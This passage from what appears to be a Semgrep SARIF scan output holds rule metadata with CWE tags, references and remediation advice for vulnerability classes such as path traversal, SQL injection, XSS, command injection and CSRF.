user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-shelve-flask.tainted-shelve-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-shelve-flask.tainted-shelve-flask","id":"python.flask.file.tainted-shelve-flask.tainted-shelve-flask","name":"python.flask.file.tainted-shelve-flask.tainted-shelve-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-shelve-flask.tainted-shelve-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A byte-string (narrow string) is used in an API that expects a wide-string. This can trigger an out-of-bounds read."},"help":{"markdown":"A byte-string (narrow string) is used in an API that expects a wide-string. This can trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions](https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions)\n","text":"A byte-string (narrow string) is used in an API that expects a wide-string. This can trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch","id":"cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch","name":"cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid if possible to use it to construct the NoSQL statement."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid if possible to use it to construct the NoSQL statement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.nosql-injection-servlets.nosql-injection-servlets)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid if possible to use it to construct the NoSQL statement."},"helpUri":"https://semgrep.dev/r/java.servlets.security.nosql-injection-servlets.nosql-injection-servlets","id":"java.servlets.security.nosql-injection-servlets.nosql-injection-servlets","name":"java.servlets.security.nosql-injection-servlets.nosql-injection-servlets","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.nosql-injection-servlets.nosql-injection-servlets"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EMR is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EMR is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EMR is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk","id":"terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk","name":"terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found direct access to a PHP variable wihout HTML escaping inside an inline PHP statement setting data from `$_REQUEST[...]`. When untrusted input can be used to tamper with a web page rendering, it can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"help":{"markdown":"Found direct access to a PHP variable wihout HTML escaping inside an inline PHP statement setting data from `$_REQUEST[...]`. When untrusted input can be used to tamper with a web page rendering, it can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag)\n - [https://www.php.net/manual/en/language.basic-syntax.phptags.php](https://www.php.net/manual/en/language.basic-syntax.phptags.php)\n","text":"Found direct access to a PHP variable wihout HTML escaping inside an inline PHP statement setting data from `$_REQUEST[...]`. When untrusted input can be used to tamper with a web page rendering, it can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"helpUri":"https://semgrep.dev/r/php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag","id":"php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag","name":"php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"$type extension has the potential to be unsafe, so use it with common sense and known json sources and not public facing ones to be safe"},"help":{"markdown":"$type extension has the potential to be unsafe, so use it with common sense and known json sources and not public facing ones to be safe\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization)\n - [https://github.com/mgholam/fastJSON#security-warning-update](https://github.com/mgholam/fastJSON#security-warning-update)\n","text":"$type extension has the potential to be unsafe, so use it with common sense and known json sources and not public facing ones to be safe"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization","id":"csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization","name":"csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default","id":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default","name":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run","id":"scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run","name":"scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"SSL verification disabled, this allows for MitM attacks"},"help":{"markdown":"SSL verification disabled, this allows for MitM attacks\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.lang.security.ssl-verify-none.ssl-verify-none)\n - [https://docs.rs/openssl/latest/openssl/ssl/struct.SslContextBuilder.html#method.set_verify](https://docs.rs/openssl/latest/openssl/ssl/struct.SslContextBuilder.html#method.set_verify)\n","text":"SSL verification disabled, this allows for MitM attacks"},"helpUri":"https://semgrep.dev/r/rust.lang.security.ssl-verify-none.ssl-verify-none","id":"rust.lang.security.ssl-verify-none.ssl-verify-none","name":"rust.lang.security.ssl-verify-none.ssl-verify-none","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: rust.lang.security.ssl-verify-none.ssl-verify-none"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found 'importlib.resources', which is a module only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Use importlib_resources instead for older Python versions."},"help":{"markdown":"Found 'importlib.resources', which is a module only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Use importlib_resources instead for older Python versions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib2)\n","text":"Found 'importlib.resources', which is a module only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Use importlib_resources instead for older Python versions."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib2","id":"python.lang.compatibility.python37.python37-compatibility-importlib2","name":"python.lang.compatibility.python37.python37-compatibility-importlib2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-importlib2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The code must not contain any of Unicode Direction Control Characters"},"help":{"markdown":"The code must not contain any of Unicode Direction Control Characters\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.no-bidi-characters.no-bidi-characters)\n - [https://entethalliance.org/specs/ethtrust-sl/v1/#req-1-unicode-bdo](https://entethalliance.org/specs/ethtrust-sl/v1/#req-1-unicode-bdo)\n","text":"The code must not contain any of Unicode Direction Control Characters"},"helpUri":"https://semgrep.dev/r/solidity.security.no-bidi-characters.no-bidi-characters","id":"solidity.security.no-bidi-characters.no-bidi-characters","name":"solidity.security.no-bidi-characters.no-bidi-characters","properties":{"precision":"very-high","tags":["CWE-837: Improper Enforcement of a Single, Unique Action","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.no-bidi-characters.no-bidi-characters"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input going into a php include or require command, which can lead to path traversal and sensitive data being exposed. These commands can also lead to code execution. Instead, allowlist files that the user can access or rigorously validate user input."},"help":{"markdown":"Detected user input going into a php include or require command, which can lead to path traversal and sensitive data being exposed. These commands can also lead to code execution. Instead, allowlist files that the user can access or rigorously validate user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-path-traversal.tainted-path-traversal)\n - [https://medium.com/@emmapinheiro42/php-include-ignore-4a3ba81371af](https://medium.com/@emmapinheiro42/php-include-ignore-4a3ba81371af)\n - [https://www.acunetix.com/websitesecurity/php-security-2/](https://www.acunetix.com/websitesecurity/php-security-2/)\n","text":"Detected user input going into a php include or require command, which can lead to path traversal and sensitive data being exposed. These commands can also lead to code execution. Instead, allowlist files that the user can access or rigorously validate user input."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-path-traversal.tainted-path-traversal","id":"php.lang.security.tainted-path-traversal.tainted-path-traversal","name":"php.lang.security.tainted-path-traversal.tainted-path-traversal","properties":{"precision":"very-high","tags":["CWE-23: Relative Path Traversal","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-path-traversal.tainted-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cryptographic algorithms are notoriously difficult to get right. By implementing a custom message digest, you risk introducing security issues into your program. Use one of the many sound message digests already available to you: MessageDigest sha256Digest = MessageDigest.getInstance(\"SHA256\");"},"help":{"markdown":"Cryptographic algorithms are notoriously difficult to get right. By implementing a custom message digest, you risk introducing security issues into your program. Use one of the many sound message digests already available to you: MessageDigest sha256Digest = MessageDigest.getInstance(\"SHA256\");\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#custom-algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#custom-algorithms)\n","text":"Cryptographic algorithms are notoriously difficult to get right. By implementing a custom message digest, you risk introducing security issues into your program. Use one of the many sound message digests already available to you: MessageDigest sha256Digest = MessageDigest.getInstance(\"SHA256\");"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests","id":"java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests","name":"java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'html_safe()' does not make the supplied string safe. 'html_safe()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here."},"help":{"markdown":"'html_safe()' does not make the supplied string safe. 'html_safe()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/cross_site_scripting/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/cross_site_scripting/index.markdown)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n","text":"'html_safe()' does not make the supplied string safe. 'html_safe()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe","id":"ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe","name":"ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django","id":"python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django","name":"python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/gorilla/csrf](https://github.com/gorilla/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection","id":"go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection","name":"go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind 